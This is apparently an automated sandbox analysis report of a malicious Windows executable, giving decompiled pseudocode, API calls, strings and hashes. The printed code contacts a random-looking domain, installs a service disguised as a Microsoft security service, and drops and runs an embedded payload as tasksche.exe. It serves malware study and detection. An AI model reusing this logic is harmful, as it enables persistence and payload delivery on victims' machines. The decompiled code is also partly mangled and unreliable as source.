				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000007.00000002.984099434.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.984085760.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984143017.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984151041.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984163343.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984192317.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984198210.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984217790.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984280086.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle();
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000007.00000002.984099434.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.984085760.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984143017.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984151041.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984163343.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984192317.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984198210.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984217790.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984280086.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F3EFB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

%s -m security, xrefs: 00407C50
Microsoft Security Center (2.1) Service, xrefs: 00407C90
mssecsvc2.1, xrefs: 00407C95

Memory Dump Source

Source File: 00000007.00000002.984099434.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.984085760.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984143017.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984151041.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984163343.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984192317.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984198210.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984217790.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984280086.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407CE0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 175
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				char _v572;
				short _v592;
				intOrPtr _v596;
				void* _v608;
				void _v636;
				char _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr _v692;
				intOrPtr _v700;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				intOrPtr _t64;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					_t64 =  *0x431478; // 0x0
					 *0x43144c = _t36;
					if(_t64 != 0) {
						_t121 =  *0x431458; // 0x0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x0
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1);
												_t107 =  *0x431458( &_v520, 0x40000000, 0, 0, 2, 4, 0);
												if(_t107 != 0xffffffff) {
													 *0x431460(_t107, _v636, _t109,  &_v636, 0);
													 *0x43144c(_t107);
													_v652 = 0;
													_v648 = 0;
													_v644 = 0;
													memset( &_v636, 0, 0x10 << 2);
													asm("repne scasb");
													_v656 = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v572 - 1, _t108, 0 << 2);
													_push( &_v656);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_push( &_v640);
													_push(0);
													_push(0);
													_push(0x8000000);
													_push(0);
													_push(0);
													_push(0);
													_push( &_v572);
													_push(0);
													_v640 = 0x44;
													_v592 = 0;
													_v596 = 0x81;
													if( *0x431478() != 0) {
														 *0x43144c(_v692);
														 *0x43144c(_v700);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d36
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebb
0x00407ebc
0x00407ec6
0x00407ec7
0x00407ec8
0x00407ec9
0x00407ece
0x00407ecf
0x00407ed0
0x00407ed1
0x00407ed2
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F3EFB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C

Strings

CloseHandle, xrefs: 00407D29
CreateFileA, xrefs: 00407D0F
C:\%s\%s, xrefs: 00407DFB
tasksche.exe, xrefs: 00407DEA
/i, xrefs: 00407E8D
WINDOWS, xrefs: 00407DF2, 00407E0D
WriteFile, xrefs: 00407D1C
kernel32.dll, xrefs: 00407CEA
C:\%s\qeriuwjhrf, xrefs: 00407E12
D, xrefs: 00407ED3
CreateProcessA, xrefs: 00407D07

Memory Dump Source

Source File: 00000007.00000002.984099434.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.984085760.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984143017.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984151041.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984163343.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984192317.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984198210.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984217790.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984280086.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$sprintf$FileFindHandleLoadLockModuleMoveSizeof
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4072214828-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tasksche.exePID: 2304, Parent PID: 7092COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	160

Executed Functions

Function 00402F2C Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 544
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00402F2C(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t223;
				intOrPtr _t225;
				signed int _t229;
				void* _t231;
				void* _t232;
				unsigned int _t235;
				void* _t240;
				intOrPtr _t243;
				signed char _t246;
				char _t247;
				void* _t258;
				void* _t261;
				signed int _t267;
				signed int _t268;
				intOrPtr _t269;
				signed int* _t270;
				signed char _t271;
				void* _t274;
				signed int _t295;
				signed int _t306;
				signed int _t310;
				signed int _t327;
				signed char _t329;
				signed int _t335;
				void* _t343;
				void* _t346;
				signed int _t355;
				intOrPtr* _t360;
				signed int _t374;
				signed int _t382;
				signed int _t400;
				signed int _t404;
				signed int* _t412;
				unsigned int _t413;
				char _t416;
				void* _t434;
				void* _t443;
				signed int _t460;
				void* _t461;
				signed int _t462;
				signed char _t464;
				void* _t468;
				void* _t470;
				void* _t473;
				void* _t474;
				intOrPtr _t481;
				void* _t482;
				void* _t484;
				void* _t485;
				signed int _t494;
				void* _t497;

				_t485 = _t484 - 0x50;
				E0041A4DC(0x429589, _t482);
				E0041AAF0(0x2070);
				_push(_t479);
				_t360 = __ecx;
				E0040B736(_t482 + 0x28, __ecx);
				_t466 = 0;
				 *((intOrPtr*)(_t482 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L7:
					 *((char*)(_t482 + 0x53)) = 0;
					L12:
					_t223 = E0040B4C8(_t482 + 0x28, _t466, 7); // executed
					__eflags = _t223 - 7;
					if(__eflags < 0) {
						L5:
						E00401C37(_t360, _t460, _t496);
						L6:
						_t497 =  *(_t482 + 0x28) - _t466;
						L88:
						if(_t497 != 0) {
							_push( *(_t482 + 0x28));
							E0041A506(_t360, _t466, _t479, _t497);
						}
						_t225 = 0;
						L91:
						 *[fs:0x0] =  *((intOrPtr*)(_t482 - 0xc));
						return _t225;
					}
					 *(_t360 + 0x655c) = 0;
					_t479 = _t360 + 0x654c;
					 *_t479 = E0040B5AF(_t482 + 0x28);
					_t466 = E0040B670(_t482 + 0x28, 4);
					_t229 = E0040B60D(_t460);
					__eflags = _t229 | _t460;
					if((_t229 | _t460) == 0) {
						L86:
						E00401C80(_t360);
						L87:
						__eflags =  *(_t482 + 0x28);
						goto L88;
					}
					__eflags = _t466;
					if(_t466 == 0) {
						goto L86;
					}
					_t231 = _t229 + _t466;
					_t30 = _t231 - 3; // -3
					_t374 = _t30;
					_t31 = _t231 + 4; // 0x4
					_t466 = _t31;
					__eflags = _t374;
					if(_t374 < 0) {
						goto L86;
					}
					__eflags = _t466 - 7;
					if(_t466 < 7) {
						goto L86;
					}
					_t232 = E0040B4C8(_t482 + 0x28, _t466, _t374);
					__eflags =  *((intOrPtr*)(_t482 + 0x3c)) - _t466;
					if(__eflags >= 0) {
						 *(_t482 + 0x4c) = E0040B716(_t232, _t482 + 0x28);
						 *((intOrPtr*)(_t360 + 0x6550)) = E0040B60D(_t460);
						_t235 = E0040B60D(_t460);
						 *(_t360 + 0x6554) = _t235;
						 *(_t360 + 0x655c) = _t235 >> 0x00000002 & 0x00000001;
						 *((intOrPtr*)(_t360 + 0x6544)) =  *((intOrPtr*)(_t360 + 0x6550));
						__eflags =  *_t479 -  *(_t482 + 0x4c);
						 *(_t360 + 0x6558) = _t466;
						 *((char*)(_t482 + 0x4b)) =  *_t479 !=  *(_t482 + 0x4c);
						__eflags =  *((char*)(_t482 + 0x4b));
						if( *((char*)(_t482 + 0x4b)) == 0) {
							L22:
							_t466 = 0;
							__eflags =  *(_t360 + 0x6554) & 0x00000001;
							 *(_t482 + 0x18) = 0;
							 *(_t482 + 0x1c) = 0;
							if(( *(_t360 + 0x6554) & 0x00000001) == 0) {
								L27:
								__eflags =  *(_t360 + 0x6554) & 0x00000002;
								 *(_t482 + 0x20) = _t466;
								 *(_t482 + 0x24) = _t466;
								if(( *(_t360 + 0x6554) & 0x00000002) != 0) {
									 *(_t482 + 0x20) = E0040B60D(_t460);
									 *(_t482 + 0x24) = _t460;
								}
								_t240 = E004010D4(_t360,  *(_t360 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								asm("adc ecx, [ebp+0x24]");
								 *((intOrPtr*)(_t360 + 0xb048)) = _t240 +  *((intOrPtr*)(_t360 + 0xb040)) +  *(_t482 + 0x20);
								_t243 =  *((intOrPtr*)(_t360 + 0x6550));
								 *((intOrPtr*)(_t360 + 0xb04c)) = 0;
								__eflags = _t243 - 1;
								if(__eflags == 0) {
									_t468 = _t360 + 0x6570;
									E00409B19(_t468);
									_t382 = 5;
									memcpy(_t468, _t479, _t382 << 2);
									_t466 = _t479 + _t382 + _t382;
									_t246 = E0040B60D(_t460);
									 *(_t360 + 0xb055) = _t246 & 0x00000001;
									 *(_t360 + 0xb054) = _t246 >> 0x00000002 & 0x00000001;
									 *(_t360 + 0xb057) = _t246 >> 0x00000004 & 0x00000001;
									 *(_t360 + 0xb05b) = _t246 >> 0x00000003 & 0x00000001;
									 *((char*)(_t360 + 0xb058)) = 0;
									 *((char*)(_t360 + 0xb05a)) = 1;
									__eflags = _t246 & 0x00000002;
									if((_t246 & 0x00000002) == 0) {
										_t198 = _t360 + 0xb078;
										 *_t198 =  *(_t360 + 0xb078) & 0x00000000;
										__eflags =  *_t198;
									} else {
										 *(_t360 + 0xb078) = E0040B60D(_t460);
									}
									__eflags =  *(_t360 + 0xb055);
									if( *(_t360 + 0xb055) == 0) {
										L77:
										_t247 = 0;
										__eflags = 0;
										goto L78;
									} else {
										__eflags =  *(_t360 + 0xb078);
										if( *(_t360 + 0xb078) != 0) {
											goto L77;
										}
										_t247 = 1;
										L78:
										 *((char*)(_t360 + 0xb059)) = _t247;
										__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
										if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
											_push(_t360 + 0x6570);
											_push( *(_t482 + 0x18));
											_push(_t482 + 0x28);
											E0040272E(_t360, _t460);
										}
										L80:
										__eflags =  *((intOrPtr*)(_t360 + 0xb04c)) -  *((intOrPtr*)(_t360 + 0xb044));
										if(__eflags > 0) {
											L83:
											__eflags =  *(_t482 + 0x28);
											_t481 =  *((intOrPtr*)(_t482 + 0x3c));
											if(__eflags != 0) {
												_push( *(_t482 + 0x28));
												E0041A506(_t360, _t466, _t481, __eflags);
											}
											_t225 = _t481;
											goto L91;
										}
										if(__eflags < 0) {
											goto L86;
										}
										__eflags =  *((intOrPtr*)(_t360 + 0xb048)) -  *((intOrPtr*)(_t360 + 0xb040));
										if( *((intOrPtr*)(_t360 + 0xb048)) <=  *((intOrPtr*)(_t360 + 0xb040))) {
											goto L86;
										}
										goto L83;
									}
								}
								if(__eflags <= 0) {
									goto L80;
								}
								__eflags = _t243 - 3;
								if(_t243 <= 3) {
									__eflags = _t243 - 2;
									_t258 = _t360 + 0x65e8;
									if(_t243 != 2) {
										_t258 = _t360 + 0x8928;
									}
									_t470 = _t258;
									 *(_t482 + 0x4c) = _t258;
									E00409B44(_t470, 0);
									_t400 = 5;
									_t261 = memcpy(_t470, _t479, _t400 << 2);
									__eflags =  *((intOrPtr*)(_t360 + 0x6550)) - 2;
									_t479 =  *(_t482 + 0x4c);
									 *(_t479 + 0x1048) = _t261;
									 *((char*)(_t482 + 0x53)) =  *((intOrPtr*)(_t360 + 0x6550)) == 2;
									 *((char*)(_t479 + 0x10e9)) = 1;
									 *(_t479 + 0x104c) =  *(_t482 + 0x24);
									 *(_t479 + 0x1084) = E0040B60D(_t460);
									 *(_t479 + 0x1050) = E0040B60D(_t460);
									_t267 =  *(_t479 + 0x1084) >> 0x00000003 & 0x00000001;
									__eflags = _t267;
									 *(_t479 + 0x1054) = _t460;
									 *(_t479 + 0x108a) = _t267;
									if(_t267 != 0) {
										 *(_t479 + 0x1050) = 0x7fffffff;
										 *(_t479 + 0x1054) = 0x7fffffff;
									}
									_t268 =  *(_t479 + 0x104c);
									_t404 =  *(_t479 + 0x1054);
									__eflags = _t268 - _t404;
									_t461 =  *(_t479 + 0x1048);
									_t473 =  *(_t479 + 0x1050);
									if(__eflags < 0) {
										L48:
										_t461 = _t473;
										_t268 = _t404;
										goto L49;
									} else {
										if(__eflags > 0) {
											L49:
											 *(_t479 + 0x1058) = _t461;
											 *(_t479 + 0x105c) = _t268;
											_t269 = E0040B60D(_t461);
											__eflags =  *(_t479 + 0x1084) & 0x00000002;
											 *((intOrPtr*)(_t479 + 0x1c)) = _t269;
											if(( *(_t479 + 0x1084) & 0x00000002) != 0) {
												E00411357(_t479 + 0x1030, _t461, E0040B5AF(_t482 + 0x28), 0);
											}
											_t270 = _t479 + 0x1060;
											 *_t270 =  *_t270 & 0x00000000;
											__eflags =  *(_t479 + 0x1084) & 0x00000004;
											if(( *(_t479 + 0x1084) & 0x00000004) != 0) {
												 *_t270 = 2;
												 *((intOrPtr*)(_t479 + 0x1064)) = E0040B5AF(_t482 + 0x28);
											}
											 *(_t479 + 0x10f0) =  *(_t479 + 0x10f0) & 0x00000000;
											_t271 = E0040B60D(_t461);
											 *(_t482 + 0x4c) = _t271;
											 *(_t479 + 0x1a) = _t271 >> 0x00000007 & 0x00000007;
											 *(_t479 + 0x19) = _t271 & 0x0000003f;
											 *((char*)(_t479 + 0x18)) = E0040B60D(_t461);
											_t274 = E0040B60D(_t461);
											_t462 =  *((intOrPtr*)(_t479 + 0x18));
											_t474 = _t274;
											_t412 = _t479 + 0x10ec;
											 *(_t479 + 0x10e8) =  *(_t360 + 0x6554) >> 0x00000006 & 0x00000001;
											 *_t412 = 2;
											__eflags = _t462 - 1;
											if(_t462 != 1) {
												__eflags = _t462;
												if(_t462 == 0) {
													 *_t412 =  *_t412 & 0x00000000;
													__eflags =  *_t412;
												}
											} else {
												 *_t412 = 1;
											}
											_t413 =  *(_t479 + 8);
											 *(_t479 + 0x1088) = _t413 >> 0x00000003 & 0x00000001;
											__eflags =  *((char*)(_t482 + 0x53));
											 *(_t479 + 0x1089) = _t413 >> 0x00000004 & 0x00000001;
											 *(_t479 + 0x10ea) = _t413 >> 0x00000005 & 0x00000001;
											if( *((char*)(_t482 + 0x53)) == 0) {
												L60:
												_t416 = 0;
												__eflags = 0;
												goto L61;
											} else {
												__eflags =  *(_t482 + 0x4c) & 0x00000040;
												if(( *(_t482 + 0x4c) & 0x00000040) == 0) {
													goto L60;
												}
												_t416 = 1;
												L61:
												 *((char*)(_t479 + 0x10e0)) = _t416;
												_t464 =  *(_t479 + 0x1084) & 0x00000001;
												asm("sbb ecx, ecx");
												asm("sbb eax, eax");
												 *(_t479 + 0x10e4) =  !( ~(_t464 & 0x000000ff)) & 0x00020000 << ( *(_t482 + 0x4c) >> 0x0000000a & 0x0000000f);
												 *(_t479 + 0x10e1) = _t464;
												 *(_t479 + 0x108c) =  ~( *(_t479 + 0x108b) & 0x000000ff) & 0x00000005;
												__eflags = _t474 - 0x1fff;
												if(_t474 >= 0x1fff) {
													_t474 = 0x1fff;
												}
												E0040B696(_t482 + 0x28, _t482 - 0x207c, _t474);
												 *((char*)(_t482 + _t474 - 0x207c)) = 0;
												_t466 = _t479 + 0x20;
												E00411CD1(_t482 + 0x28, _t482 - 0x207c, _t479 + 0x20, 0x800);
												__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
